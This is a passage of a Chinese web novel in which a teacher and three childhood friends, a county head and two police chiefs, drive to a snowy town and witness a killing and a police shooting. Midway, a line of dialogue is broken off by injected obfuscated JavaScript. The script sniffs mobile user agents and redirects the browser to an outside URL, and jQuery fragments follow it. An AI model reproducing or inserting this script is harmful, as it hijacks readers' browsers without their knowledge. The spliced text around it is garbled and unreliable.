何穗去邮局寄了昨晚写给女儿苏姝的挂号信,骑着单车回来,这时候冬日旭升的阳光,给料峭的寒冬,带来暖意融融的气息,大地在明亮的阳光之下,呈现一片洁白的世界,让人顿觉心情舒畅。
她远远地看到校门口祥子乃子晃悠的身影。他们俩人同时出现在校门口,知道是云子来学校看自己来了。
云子祥子乃子,背地里人们用“冬塘三少”来说明他们的身份和关系。
快骑到校门口时,云子也从传达室里窗口看到何穗回来,他走了出来。他们三人把目光齐齐投向骑车过来的何穗。
“——何姐。”云子朝何穗先喊一声。
“云子。”
何穗在单车上应声道,她用力蹬了几下单车,把车骑到云子跟前停了下来。
“我二嫂说你感冒发烧,让我来看你。有没有好一点?”
云子一见何穗的面就告诉她说,再关心地朝她问。
“……”
何穗一时没有反应过来。她推着单车愣住了,心里忐忑不安,一会儿她反应过来了,才朝跟前的云子问,
“你什么时候回来的?”
“我昨晚上到的。刚才看我二嫂,她说你昨天下午去看了她,说你感冒了发烧。我就过来看你。”
云子把刚才的话又重复一遍,以为何穗迷迷糊糊的真的病了,并特意强调是二嫂小文让他来看他的。
“我看她精神也不太好。”
何穗这么一说,也不知道自己说了什么。
自己到底是恼怒小文她这么说自己感冒发烧语义双关来暗讽自己,还是自己在记恨昨天下午受她侮辱的事。
小文跟小叔子云子说自己感冒发烧明显是在暗讽自己,让小叔子云子来看自己也是来探探虚实。
只是单纯的云子太相信自己的二嫂小文,也相信何穗这样迷迷糊糊的是真的病了。
“何姐不舒服还来学校上课?跟学校说一声请个假吧。”
祥子来到何穗面前对她说。
“也没感冒。昨天去的路上让冷风吹了一下头,回家睡一觉就好了。”
何穗答着祥子的话。她用手把捂在脸上的围巾拨开一些,露出半张脸庞来。这时候,她才让自己忐忑不安的心恢复平静下来。
云子不知道思塘的事,小文并没有告诉他。现在云子来看她,还是和以前一样那么随和亲切。周家的男人并没有远离自己。
“都到里面去坐吧。”
何穗招呼大家,推着单车向前走了两步。
“一会儿我得回老家看看。听说这几天冬塘来了很多游客看雪景。何姐你去吗?”
云子说完,抬脚跟何穗向前走了两步,再问她。
“木铺街的旅馆客栈都住满了。”
祥子跟上来,说,
“何姐你带上相机给我拍几张相,我要寄给兰妹子他们看。上几天她还在电话里问家里有没有下雪。”
兰妹子是祥子九岁的大女儿。祥子老婆出国后又生了二个孩子,一男一女。祥子还准备再生一个儿子。
“何姐你帮我拍的我就挂在墙上当挂历。‘谁不说咱家的风光好’。”
乃子在后面说。他把话说得话里有话。祥子朝他看了一眼,再注视着云子。
“乃子这话我听了舒服。”
云子神态平静地说。
“好呀。我有一节课,跟人换换就是了。不过下午放学前得赶回来。”
何穗高兴地答应了下来,她停下了脚步。
“我们下午就回来吧?冬塘那边已经在弄饭了。”乃子看着云子,告诉何穗说。
“什么吃完饭就回?这么匆匆忙忙没意思。你的地盘,你进去在操场上背手仰头鼻孔朝天、嘴上叼支烟、八字步迈两步,不就行了吗?再没人奉承,就大声地咳几声,使劲翻白眼再挺直身子绷着脸抖两下腿。”
祥子笑着挖苦乃子,他还没完,“再没人拍马屁,怎么办?你就拿着大哥大气急败坏地使劲地喊,‘赶快替老子跑步过来。限你十分钟到,十分钟没到,老子就撤了你的职’。这样一来,皇帝老子都会变成你的龟孙子。”
“什么话嘛?这等区区小事?还让我伟大的局长去出面吗?让你容光焕发的局长耀武扬威去抓小毛贼?丢不丢你神采奕奕领导的脸,你气宇轩昂光鲜亮丽的面子那怕就是摔开九瓣,也没地方安放。”
乃子也挖苦祥子。
“你们当领导了,还是小时候的样子。互相挖苦不相让。”
何穗朝祥子乃子各看一眼,也笑了。
“这是我们的风范。”
云子笑着说。他用手摸了一下自己头上的帽子正了正。他脖子上围着一条棉布绿色围巾,戴着这一顶也是绿色的大棉帽子。他帽子有时候取下来拿在手上,就把脖子上的围巾搭在头上,像个干活的农妇,是一个完全不在意自己形象的人,也没有把自己当作什么有身份的人。
云子这憨头憨脑有点儿邋邋遢遢的样子,反而给他在群众中赢得了好口碑。
“云子,你现在好歹也是个县长了,有时候得注意一点口德呀。”
何穗以姐姐的口吻提醒他说。
“我二哥也是这么说我。可是心情一高兴就忘了。”
云子嘿嘿地笑着,“我想也就是在自己的人面前才乐意这样子的吧?都是小时候喜欢这样子的说笑打闹造成的。我们仨在一起,要不是这个样子,那肯定是闹掰了。”
云子说完,祥子乃子跟着也笑了起来。
“好了,不说你了。你们要进去坐一会儿吧?”何穗报以开心的笑,朝他他三人扫视一眼,问。
她现在的心情,非常轻松愉快,
“算了。何姐你快点出来吧。”祥子抢先回答说。
“一早起床,看到今天这么好的太阳光,心想要是出去拍照多好。没想到我弟弟们真的就来带我去拍照了。早上进校前我带着相机就在学校附近拍了几张,很不过瘾。”
何穗说完,推着单车往学校门口里走几步,再利索地跨上车,说出最后一声,“等姐一会,一下出来。”
她一溜烟似的骑进学校里。
“何姐身体结实。小文姐就有点弱不禁风的样子。”祥子望着何穗骑车进去的背影说,
“何姐在食品站当知青的时候,身体好活泼开朗,有力气做事也很勤快。只是运气差一点。当时大人们说,她要是嫁到你们家来也是个不错的女人。”
“什么话嘛?何姐不嫁到我家里,就是一个坏女人了?当时你我几岁?懂得个什么?让我二嫂听到你祥子还在说这个话,她不把你狠狠捏碎才怪。”
云子对祥子说。
“何姐现在也不差。老赵工资那么高。听说店铺的生意也很好,卖出去的建材一车一车地拉。她大女儿也在上大学。再干几年就等着退休享清福了。”乃子说。
“我还听说你药店买药的人排队排到几条街,晚上关门用麻袋装钱。”
云子低声地对乃子笑着说,
“你还到处叫苦连天,在人面前装穷。”
“我开支大嘛。药店也没开多久,做的也是保本生意。煤炭才赚钱。”
乃子也低声地回答云子。他朝一边晃悠的祥子望一眼。
祥子开了一个煤矿,即使乃子不说岀来,云子也是知道。只是大家都没说出来,现在乃子说岀来,无非是想让云子知道,祥子的实力比他还强。
也许是出于职业的关系对周边环境的警觉。祥子他每到一处不会停下来脚步伫立,会绕着四周走走看看。他参军退伍后当了警察,十年不到的时间提升局长。这当然是凭借周氏族亲的关系。
对于周氏族亲,周家在人事安排上,除了考虑血脉的亲疏、家境、个人的能力,会更多地注重本人的操守秉性。祥子性情爽直重情义,这是周家对他照顾有加的原因。
乃子站在云子身边,云子不出声,乃子也没什么话说。也并不是乃子畏怯于云子周家的势力,他从小就是这样,只是跟着云子祥子后面玩。乃子小时候就是个不多言语的孩子。
跟云子见面,他现在一门心思想从云子嘴里得到自己的妻儿什么时候能出国。但云子不给情面地拒绝了他。
乃子满腹心事地抽着烟,烟灰掉落在他大衣襟上,他悄悄地用手掸掉,不时地朝云子看过来一眼。他这样子让周家人有点儿不喜欢。周家的主要人物春子说他心窍多有点儿不磊落。
云子仰头望着睛朗的天空。太阳光从他的身上斜斜映射下来,晒到了校门口屋檐下的门槛上,那儿的积雪已经开始融化,露出粗糙黝黑的木质木槛的颜色。
校门口的沟槽已经有了浅浅的水流,随着太阳光升起的热气越来越多积雪融化,水流慢慢地增多。远处的山峦积雪熠熠生辉,显得格外晴朗。
像这样冬日积雪后明亮的太阳天,非常难得一见。
何穗很快就出来了。她一只手提着一个蓝色的小背包,简直是小跑着来到云子跟前:
“我可以带伴吗?我们学校的一个年轻的女老师。”她兴冲冲的问。
“当然可以。又不是去工作。”云子答道。
“何姐,你带她来就是了。”
祥子说,“还有五个位置空着。你有几个带几个。”
“哪还有几个?一个刚刚大学毕业的女孩,九月份才来我们学校,是美术科班出身。她想去冬塘看看雪景。”
何穗告诉他们说,一会儿来的叫王诗筠的老师是蒙县的,还是个姑娘。今年去过冬塘多次,很喜欢冬塘的景致,觉得很新奇,上几天还在约何穗下雪的时候一起去。
“我们一起也去过两次。她是个女汉子,喜欢往户外跑,又是学美术专业的——我叫她一声。”
何穗把小背包递到云子手里,转身迈开步子,咚咚又跑回去一点远站定了。
她朝学校里面扬起手挥舞着一会儿,里边也打手势应了,再转身缓步走过来。
“我二哥要你打个电话给他。”
何穗走到云子跟前接过自己的小背包,云子把包递给她时,突然告诉她说。
何穗心里面蓦然一惊,愣了好一会儿,顿了顿才想起来低头悄声地说:
“春子还记得我呀。”
她故作镇定,嘴上虽然这么说,心里却在怦怦跳过不停,感觉脸上?一阵一阵地燥热。
“他上次还在问你呢。”
个性率真的云子老老实实回答。
“等到了冬塘再打。”何穗小声道。
她装作怕冷的样子,把围巾赶紧严严实实的围住自己的头脸,往云子脸上瞅了一眼后,再也不敢目视他。
“你现在记一下他的号码。”云子说。
“我拿纸笔出来。”她应了一声。听出自己的声音有点颤抖,往包里拿纸笔的手也在抖。她把背包提到怀里,蹲下身子,故意伏着身子弯下腰装作找纸笔的样子。
笔和小本子其实就放在背包外面那一层,她却故意打开背包慌乱地翻。
她把自己的头快低到双腿上了。幸好是冬天,厚厚的衣服把自己的羞赧和不安都掩饰了起来。
云子报上年轻人的电话,她就这样伏着身子把本子垫在膝盖上,用笔记在本子上。
“咱们的女校长出来了。”祥子看到杨姓女校长走过来,“鲁迅先生的豆腐西施,就算是这么冷的天,穿这么厚的衣服,还是这么瘦骨伶丁。”
祥子笑着说了一句。
“周县长——哎、二位周局长。”
那边过来的女校长高声在喊。
她既要让人家听到,又怕有失奉迎。
“别睬她。”祥子最怕人这样高声喊自己,马上脸露不悦。云子当然不会吭声。
这杨校长籍着自己与周家关糸,到处张狂。二年前一次工商部门查处她弟弟开的餐厅没有执照,她搬出自己是周家姑姐阻拦。秋华已经警告了她,现在收敛了一些。
“周县长,二位周局长——”
女校长还在喊。如果云子祥子乃子他们不回应,对方会一直这么阴阳怪气地喊下去。
“你别大声喊了,整个学校都知道了。你给我们何姐放一天假吧?”
乃子耐不住,抬起头看着她大声说。
“你们何姐还要找我放假?我都想找她放假呢。周县长你说是吧?”
对方毫无顾忌地大声回话。
“这样大喊大叫的,上不了台面呀。”
祥子低声地骂了一句。
“她就这样,当你们的面一套,你们走了又一套。”
何穗站起身低声地说。她把本子小心地放进包里夹层,笔还是放在包的外层,见身边的这些毛头小子没有在意自己,心情一下松驰下来,加入他们的话题。
“杨校长你回去把诗筠老师叫出来,让她快点。我们要带她去给你局座拍领袖相,挂在你校长办公室。”
女校长走近他们跟前时,祥子对她不客气地说。
“好,好。你们等等。”
女校长愣了一下,往这边看着,明白过来后,赶紧转身往回走去。
“什么局座?何姐十几年前去教育局都不肯。她要是去的话,现在肯定在西山市委了。哪里轮得到你我在何姐面前咋咋呼呼的。”
乃子板着脸装作严肃地样子,对祥子说。
“乃子今天总算说出一句人话来。云子你说是吧?”祥子转过头来问云子。
“我们何姐不喜欢这个座那个座的。这些座位腥味太重。我爸说,□□结束后那时候“老中青三结合”,组织部需要年轻人想把何姐安排进去。何姐当部长我们刚好长大可以混蛋,按何姐这个纯粹的标准,只有把我们发配到边疆充军的份。”
云子这么一说,祥子朝何穗恭手作辑:
“感谢姐姐大恩大德。”
云子说的是实话。何穗有过多次被周家调岗晋升的机会,她都婉拒了。她的超尘脱俗这种无视于名利,更加赢得周家对她的喜欢。
“你们别逗你老姐了。”何穗轻松地笑了,她说道,
“我还是那句老话,作为女性先是一个女人,再是一个妻子一个母亲。我看了一个女总理和一个女首相,一个一生没有结婚没儿没女,一个结婚后从政疏远家人,到老了凄凉流眼泪很后悔。再说我也不喜欢做行政工作,我个性不受拘束,自己不想让人管,也不愿管人,要我拉开脸说人家我做不到。还有我也有你们这么多哥哥弟弟护着,要是有什么事找你们就是了。”
“这女孩动作太慢了。”祥子有点不耐烦。
“女孩子嘛,出趟门不容易,你要理解。你兰妹子再大一点也是这样子的。”
何穗以女性温柔的口吻对祥子说。
“现在就是了,才九岁的小姑娘。出过门左一套衣服右一套衣服挑来挑去,还得往脸上抹什么粉,涂口红。你说我们那时候小女孩和姑娘家,出门抬起脚就走,那象现在。都是去了外国变坏的。”
祥子说。他坦诚地承认笑了。说起自己的女儿,他显得很高兴。
“现在生活好了,有吃有穿,开始讲究享受了。向西方发达国家学习,这叫做与时俱进。”何穗说。
“有人喊到外国去,到享受生活的地方去。这样坏帐的话,要是在过去要多反动有多反动。”
乃子凑过来说。
“这方面,好坏还真没什么标准,只看是什么人。”祥子接着乃子话说。现在妻儿都在国外的他,对这样的话,当然会持反对态度。
“让你菊芳给你生多几朵金花,够你烦的了。”何穗还在说祥子的女儿。祥子的妻子菊芳,比祥子少半岁。他们俩夫妻是高中同学。祥子也是参军后订的婚。
“两个女儿刚刚好。再多一个就不好养了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199091|197153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”祥子话一落音。
何穗叫了一声:“来了——”
从学校里面跑出来一个姑娘。何穗高举着右手,朝跑过来的姑娘使劲地挥动。
姑娘身穿深红色的羽绒服,颈上围着洁白的围巾,蓝色的紧身布裤子;羽绒服带毛领的帽子罩在她的头上;戴着一副太阳镜,看不见她的脸。走近看手上戴着一副蓝色的手套,脚上也是?双白色的运动鞋。
姑娘身子轻盈,步履匆匆地跑过来。尽管是个老师,也是个很时尚的女孩。
云子他们望了一眼姑娘,转身朝停在路边的车子走去。
姑娘气喘吁吁跑到了和大家一起,她把眼镜取了下来,一双大大的眼睛里有一双大大的黑眼珠。她张开嘴以飞快的语调说:
“杨校长今天这么好,还催我快点,说让我放心去玩,她会替我安排课程。前面一直在躲着她,怕她看见。”
姑娘担心让厉害的校长知道,刚才有点儿磨磨叽叽,现在的她也毫无顾虑,把话说得大声,像是有意让云子他们听到,向等了好一会儿的大家道岀原委。
“她家的门板坏了,我们刚刚给她家拉了二块板子去。”
听到姑娘的话,祥子回过头来,一本正经地对姑娘说。
“怪不得了。”
姑娘以老于世故的口气说,她用手拢了拢几绺垂在耳边刚才跑散的发丝,和何穗并步前行,再凑到她的耳旁小声告诉她:
“上次没跟她说,让她知道了,等着我一回学校,当面狠尅了我一顿。”
说完,她哧吭一声地笑了。
“开会还在说有些同志刚参加工作不久,就随意离开工作岗位。虽没指名道姓,大家都知道是在说你。学校只有你一个才来半年:‘刚刚参加工作不久’。”
何穗也笑。
那次会后,诗筠当时也给她说了。姑娘扬着脸庞朝云子他们三人扫视了一眼,问:
“何姐,这三个大哥都是你弟弟吗?”
“都是我妈和我姨妈的崽。”
何穗嘟了嘟嘴回答,诡秘地笑着指了指云子祥子乃子,快言快语地道,
“云子哥、祥子哥、乃子哥,你这样叫他们‘哥’就是了。他们也大不了你几岁。”
她一个一个介绍完,不待诗筠答话,搂着姑娘的肩膀满脸绽开笑容,对云子他们说,“等她等了二十几年了,终于来了一个和我一样的同类。”
诗筠也是美术专业毕业,俩人在学校都是美术老师。
祥子迈开脚步快速走到前面,先上了车,突突地把车发动起来,一股股浓烟从车厢后面底部的烟管里喷出来。
“他们刚刚从外面回来吧?”
诗筠有点纳罕地看着走在何穗身边的云子问。何穗介绍这三个弟弟说得太含糊,她猜测应该是与何穗挨着走的云子是她弟弟。可就姐弟俩的长相来说,五官和肤色完全没有一点儿姐弟俩相像的地方。虽然姐姐和弟弟看上去个子都很结实。
乃子这时在后面抢先告诉姑娘说:
“我们三兄弟,都在外面打工,刚刚回来。我是开大货车的。”
他指着云子,“他是做木材加工厂的。”
再指着祥子,“前面开吉普车的那个是包工头。”
乃子说完,他站定了:他要横过马路对面他的车子那儿。
他也不管姑娘茫然地望着自己,他朝何穗问:
“何姐你带诗筠老师坐我的车吧?”
“云子有半年没见面了,我跟他坐一起说说话,也要拍拍路上的雪景。”
何穗拍拍肩膀上的相机包回答乃子说。
“那诗筠老师坐我的车吧?”
乃子诚心诚意地向姑娘发出邀请。
“我坐小车会晕车。我还是跟何姐坐祥子哥的车。”
姑娘带着歉意地对乃子说完,反咬合着自己的嘴唇不好意思地笑着。
“这诗筠老师真会看人呀。”乃子有点无奈,他不住地搓着手,
“那怕坐在旁边陪我说说话也好嘛。”
乃子这样子,姑娘和何穗哧地一下轻声地笑了起来。乃子苦笑着装作一副落落寡欢的样子,独自过到马路对面。他过马路时踩踏积雪后泥泞的路面上,发出嗒吱嗒吱的有节奏的脚步声。
何穗带着背包坐在前排祥子旁边副驾驶的位置上。她把包链拉开,把相机拿出来,调试了一会儿,又放进包里。她像抱孩子一样把小背包搂在怀里。
诗筠坐在云子身边。她纳闷何穗介绍这三个弟弟表弟的概念模糊不清,觉得何穗与他们三人象是刻意在隐瞒自己。她在心里想或许以自己和他们才刚刚认识的关系,他们还不愿向自己道明身份。
现在是以经济建设为中心的时代,一些生意人会有意隐瞒自己的身份,也不愿让人知道自己具体的行当。姑娘也表现出一副毫不在意的态度,在这冰天雪地冬日晴朗的日子里,能够和何穗结伴一起去冬塘欣赏雪国的风光,让她心情非常高兴,脸上绽开出愉快的笑容。
“让乃子一个坐着,是不是有点儿过分?”
何穗突然说,像才想起来什么似的。
“什么过份?他要找人陪他坐,一会儿路边拉几个就是。”
祥子满不在乎地说。他把车驶上公路后,一下加大油门,车子发出一阵阵轰鸣的引擎声。车子以刚来学校快得多的速度,向冬塘方向驶去。
“祥子你什么话嘛?诗筠老师还是个姑娘。”何穗提醒祥子。
“我就怕诗筠老师误会,特意把‘陪坐’说‘陪他坐’,我想这一字之差,性质就不同了。他们都说我太粗鲁,我本来就是个粗鲁人嘛。我再也想不起用什么话说了。”
祥子说完笑了。
“‘三陪’大城市现在很多。卡拉OK歌舞厅、酒吧夜总会、桑拿按摩这些玩意儿,全都冒出来了。认认真真地管起来的话,还真是不太好管。”云子略有所思地说。
“你们不要说了。姑娘都不好意思了。”
何穗再次提醒说。
“好。不说。说什么呢?乃子的车拉开了。你按一下喇叭。”
云子说着从车身外侧的反光镜里看到乃子的车,拉在后面有些距离。
祥子减慢了车速。后面一台大卡车,呼呼地擦着他们的车身疾驰而过,飞溅起来的雪沫洒到了窗玻璃上。
“哎哟。”诗筠惊叫一声。
“这下雪天,最易出交通事故了。尤其是这些开英雄车的。现在车也多。我们小时候马路上是看不见车的。好不容易来了一辆车,大家好象看把戏一样远远地追着看。我到现在还记得坐过你爸那台吉普车,是从供销社到区里,不到三分钟吧?回去兴奋一个晚上说梦话。现在过了二十多年,好像就是在昨天。”
“为了让你们坐一次车,我回去让我爸骂了一顿。虽然假惺惺嚎哭,拿着手挡着眼,从指缝里看大人的愤怒程度,但心里还是高兴。”
云子这句话把大家逗笑了。
“诗筠小时候假哭过不少吧?”
祥子从位置上后视镜里朝后座上的姑娘瞄了一眼。
“小时候谁都假装哭过呀。为了不让爸爸妈妈惩罚。”
姑娘正了正坐侧的身子,甜滋滋的笑着回答。
“我坐过好多次,头一次去林场,后几次来城里,都是和雨秀姐一起。后面和小文去猫岭看振实,还有几次是食品站送东西去你家。”
何穗一一道来,她记忆犹新。
“何姐,坐了几次车,你还记得这么清楚?”诗筠看着前面的何穗有点惊讶地问。
“你祥子哥说了,那时候,我们在山里,看见车很稀罕,能够坐车、还是这样的吉普车就更稀罕了。那时候年轻,好虚荣。”
何穗往后稍微偏着头,告诉姑娘说。
“那时候的这样子的车相当于现在的奔驰轿车吧?算很高级的了。可我还是喜欢这样四面透风的车。我坐太密封的车里,时间长的话就会晕车。”
姑娘告诉大家说。她把搭在车窗上的胳膊放了下来。外面虽是太阳天,但车子在快速的行驶中,凛冽的寒风从窗口灌进来,吹在脸上,让人禁不住的寒冷。
诗筠把车窗玻璃摇上大半,留下一条缝。云子这边见她摇上,他也把自己这边的车窗玻璃往上摇。
“要是夏天,这么大的太阳,这风就吹得特别舒服。”云子摇上玻璃后,说。
“你现在还坐漏风的车吗?”
祥子从后视镜里看一下云子笑着问。
“我可是天天坐。蒙县全是山路。这车跑山路最好。”云子回答祥子说。
“我就是蒙县的哩。云子哥你在蒙县做什么生意?”姑娘朝云子好奇地问。
“刚才乃子哥告诉过你,我做木材生意的。你蒙县哪里的,看我到过没有。”
云子问姑娘。
“我是氮肥厂的。”
“氮肥厂听说解散了?”
“解散好多年了。家还在氮肥厂,我爸安置在火电站,我妈去了供电公司。”
“你爸妈好厉害呀。那些解散的企业职工,好多都下岗回家了。”
“我爸是厂长。开始说去工商局,后来去了火电站,让另外一个人去了工商局。”
姑娘快言快语地说。
“怎么会呢?”
“说起来还是关糸不够硬呀。”
姑娘遗憾地说。
“那一个人什么关糸?”云子故意问。
“听说他爹是市政府的一个官,跟县长关系好。”姑娘回答。
“这县长好坏。”云子不动声色地说。
“这也算不了什么,现在本来就是拼爹讲关系的社会。哪怕你干得再好也不行。社会上流传这么一句话:说你行你不行也行,说你不行你行也不行。”单纯的姑娘落落大方地说完后,自己抿着嘴轻声地笑了起来。
“人民群众的反映。”云子下意识地笑着赞同回答。
他从自己这侧的窗外望着前方路边的行人,看到两个大人各自牵着一个半大的小孩。车子驶近他们身边时,他们停了下来,抬头木然地看着车里面的人。
男人肩上挑着一担箩,女人弯着腰背上驮着一个篓。大人小孩穿的都是土布衣服。
这身装扮,是冬塘当地走亲戚的人。今天天气好,临近年节,沿途都是这样成群结队赶脚的人。
“一个县正副县长好几个?你说哪一个?姓啥名谁呀?”
祥子插进话来,故意漫不经心地问。
他目视前方,稳稳地攥着方向盘,嘴角露出一丝不易觉察的笑。从车侧外后视镜里,看到乃子的车跟向前来,又加大油门快速向前行驶。
车子行驶有大半的路程,前方不远就是冬塘的地界。这时积雪绵延的山峰从车身的两侧迎面而来。
姑娘不愿回答祥子太明显指名道姓让人诟病的问话,她毕竟是一个有文化知识的女性,尽管姑娘单纯。她咬着嘴唇不吱声,笑着把视线移向窗外,看到美丽的景色,禁不住张口喊了起来:
“哇,好美的景色。”
“今天我们可以玩个痛快了。”
何穗说着,她拿出相机,举在手上,往窗外对着白雪皑皑的山峰连续拍过不停。
8. 第八章
他们把车停在路边下车,踏着积雪走向木铺街。时间充裕,一行人个个满心欢喜要在木铺街上走走,拍照留念感受故乡的雪景。
镇上的房屋、街道、路边的树和远远近近的山林在亮晃晃的太阳光下,也浑蒙蒙象是给白色的雪景染上了一层灰白色。
看到一个瘦小的男子从木铺街里跑出来,一只手鲜血淋淋。祥子反应敏捷地拨出手枪,推弹上膛,对何穗说了一句,“何姐你们女人捂着眼睛。”
说完,祥子立马放开腿朝瘦小男人追了上去。
“战斗场面,何姐你赶紧拍下来。”
云子对何穗笑着说,还是一把拉着她和诗筠背过身来,不让瑟瑟发抖的俩个女人看到血腥的场面。这时乃子提着枪走到了他们身边,站了下来:
“别紧张,我来保护你们。”
乃子对俩个女人说完,再对云子笑着说,
“你应该去拍战斗场面。”
“杀人了……杀人了。”
瘦男子在前面边跑边喊,他的胳膊已经中了一刀,鲜血淋漓滴在雪地里。后面追他的黑衣男子挥动着大砍刀疯狂紧紧地追赶他不放,在瘦小男子跳过一家菜畦地篱笆墙上时,黑衣男人追了上去,挥起砍刀从瘦男人后面斜着把他从左肩、连续几刀一直劈到腰部。瘦男人被劈开的身躯挂倒在篱笆墙上的木桩子上,雪地立马染上一片红红的血滩,很快就凝固了一团一团黑色的斑块。
黑衣男人丢下砍刀,跃过篱笆墙,拼命地向山林里逃去,祥子和围过去的警察开了枪。数声枪响后,黑衣男人??梧的身躯凝住了,慢慢地倒下。他在地上挣扎了几下,抬起身躯,但脑袋并没有抬起多少,只是向上翻了翻眼珠子,再蓦地倒下,再也一动不动地躺着。
祥子走向前,察看了一阵之后,有人向他报告,被劈开的身躯挂倒在篱笆木桩子上瘦个男人,是??吸毒分子,追他砍杀的被击毙的黑衣男子是他女朋友的父亲,黑衣男子认定吸毒分子把自己的女儿引向了一条不归路,拿着砍刀追杀他。
“冬塘有贩毒诱惑他人吸毒的绝不留情。可以一律格杀勿论。”
祥子对报告他的人说完,再吩咐了几句,收起枪,转身朝云子的车走过来。
“一定把这些新型的犯罪行为消灭在萌芽的状态中,不能让这些歹恶之徒的家伙有泛滥成灾的苗头。”
云子用坚定的口气对祥子说,
“你拟定一个方案,告诉我,与我们蒙县同期进行搞一次严打行动。也可以报告上去市里,我们山区几个县联合行动,这样这些毒贩和车匪路霸可以一网打尽,以杜后患。”
云子沉静地说。他瞬间变成了一个认真严肃的男人,话语铿锵有力,双目炯炯有神。
而迎面走过来的祥子这时轮廓分明的脸庞,也是一副正气凛然,让人望而生畏的样子。
“大哥,你们是……”诗筠发怵扯了扯站在身边的乃子衣袖,颤抖着声音问。
“他是你蒙县县长,他是公安局长。”
乃子微微一笑,指着云子祥子这才告诉姑娘。他故意没有说出自己是蒙县公安局长的身份。
突如其来枪声和嚷叫声的缉凶砍杀事件,令小镇一下喧哗嘈杂起来,人们纷纷从街巷里跑出来,涌向倒毙在雪地上的亡人。
一行人打消了在木铺街继续步行的念头,云子让何穗诗筠先坐回到车里。
刚才听乃子介绍云子是自己家乡的县长,现在终于听云子说话完全是一副县长的口气,诗筠把头伸向何穗的肩膀上,悄声地咬着她的耳朵问:
“何姐你为什么蒙我?”姑娘压低嗓门儿说。她往身边的云子瞅了一眼。
“因为你是蒙县的。不蒙你蒙谁呢?”
何穗笑着说完,再故意逗姑娘说,
“他们要认你作妹妹哩。蒙着你让你有了三个大哥;不蒙着你,他们就是一个县长二个局长。你是要认三个大哥?还是要认一个县长二个局长呢?”
何穗故意逗诗筠说。被何穗这么一逗弄,姑娘笑了起来,没再吱声,不好意思抿着嘴笑了。
云子祥子坐回车里,从摇下的车窗玻璃,一阵寒风扑面袭来,云子缩着脖子问祥子:
“你是留在这,还是回牛家塆?”
“还是回牛家塆吧。” 祥子答道。
“算了吧。你在芳妹酒楼等我。我们吃饭时就过来。”
对云子说,骤然之间发生的砍人枪杀的事情,云子不想让人知道祥子跟着自己在牛家塆。
“事情结束了,也没什么事了,还是回家吧。”祥子坚持说,他还是坐到驾驶位置上发动车。这时,看到乃子的车已经在前面等他们。
“不是所有的魔鬼都来自地狱,也有些是来到了人间之后,变成了魔鬼的。就像有些人自带瘟疫,活着就是犯罪。他们的生存方式完全是靠掠夺和侵占别人的劳动成果所得,而且常常把别人的生命占为己有。”
祥子坐上车说。
“幸好祥子哥没让我们看,看了这几天肯定会做噩梦,一辈子的阴影。”诗筠心有余悸地说。
“我跟着他们十几年,还是头回和他们一起遇上,吓懵了,现在心还在乱跳。”
按着自己胸口的何穗说。
“我二哥说,军人就是以杀人的多少来论功行赏的。”云子自豪地告诉俩个女人说。
“听说你大哥二哥都参过战争,春子从未提过?”何穗看着云子问。
“他说是什么零零落落的小仗,算不上什么。他是作战参谋,我大哥指挥过一个团,攻下了几个山头。”云子装出一副淡然的样子说,但口气很自豪。他得知大哥二哥上前线后,那段日子里,和周家所有的人一样,可是一直没睡过一个安稳觉。
“好些参战的老兵下来都不提及战斗的事,是不是因为太残忍?”何穗朝祥子问。
“我想应该是。”祥子回答说。
这牛家塆度假村,即使是冰冷的雪天,它依然是绿木扶疏,悠闲静谧,古朴淡雅。有人曾用画和文,来赞美和花月一样美的牛家塆。
“以前只是听说,现在要好好看看。”
一入宅院,诗筠就抑制不住兴奋的心情说。
时节正值隆冬,庭院里面正绽放着山茶花。这些红色的山茶花,在明亮的庭院里面绽放,虽然不觉有风,也会觉得树的边缘花枝摇曳。
牛家塆度假村方竹涵总经理从里面迎了出来。他身着灰呢长大氅,仪表端庄,个子适中。年约四十的方竹涵总经理,是新加坡华裔,从事高端酒店管理多年。他来之前是万柯公司大叶酒店副总经理,被委派到牛家塆度假村。如今他在这里已经工作二年。
“云子。”他先朝云子招呼,
“一早就在等你。李先生问过二次了。你先上去看看李先生吧?”
方竹涵一见云子就开门见山地说,没有一句多余的客套话。
“两位局长和两位老师我来招呼。”
他再转向祥子乃子何穗诗筠说。
“我上去坐一会儿。你们陪何姐和诗筠看看。”云子对祥子乃子说,祥子乃子也没多问,何穗朝方经理笑了一下,也没吱声。
初次步入周家府邸的诗筠,不知道如何寒喧应对,一下变得拘谨起来。
诗筠看到云子他穿过庭院,拐入的廊道,朝上里院南屋走去。那儿站着几个身着黑色长外套的青壮年男子。
“什么人住在里面?”她眨着眼睛,好奇地看着云子的背影问。
“先到里面坐坐,喝杯咖啡。”
方经理并未回答姑娘的问话。他很礼貌地把大家引入客厅。
祥子乃子朝姑娘望了一眼,都没吱声,把什么人藏在这里,他们也不知道。云子没跟他们说,他们俩也不敢开口问。
在这么一个钟鸣鼎食神秘的大宅院,总是有各种各样出现奇迹的可能。
“诗筠,来这里不该问的不要问,出去也不要对人说。”
何穗先是悄声地告诉诗筠,再说她自己,“我也有好多年没来了。以前来到处走到处看,自从改为度假村之后,来里面就受拘束了。”
何穗说完,不禁茫然四顾,想起二十二年前来这府邸歇夜的那年冬天、和七年前枫叶红的那天晩上,她的心里一下涌起热浪,不禁感慨万千,无以言表。
“有时候清早起来,满院都是散落的花瓣,红色的山茶花和洁白的雪,看上去别有一番风趣。有时候工人可以扫二三箕落在地上的花瓣。”
方经理引着大家走到一个小池子边,指着庭院里面的山茶花,告诉大家说。
这小池子里引入厨房的热水,并未结冰;它通向村口的池塘,池塘与上流的冬湖相衔接,经过池塘的水往下流再汇入浩荡东去的冬河。
庭院四周屋檐上的冰柱子,持续往下面的水槽里“吧嗒吧嗒”地滴水。运气好,还可以看到晶莹剔透的冰柱子,从屋檐上掉下来摔碎在地上的情景。
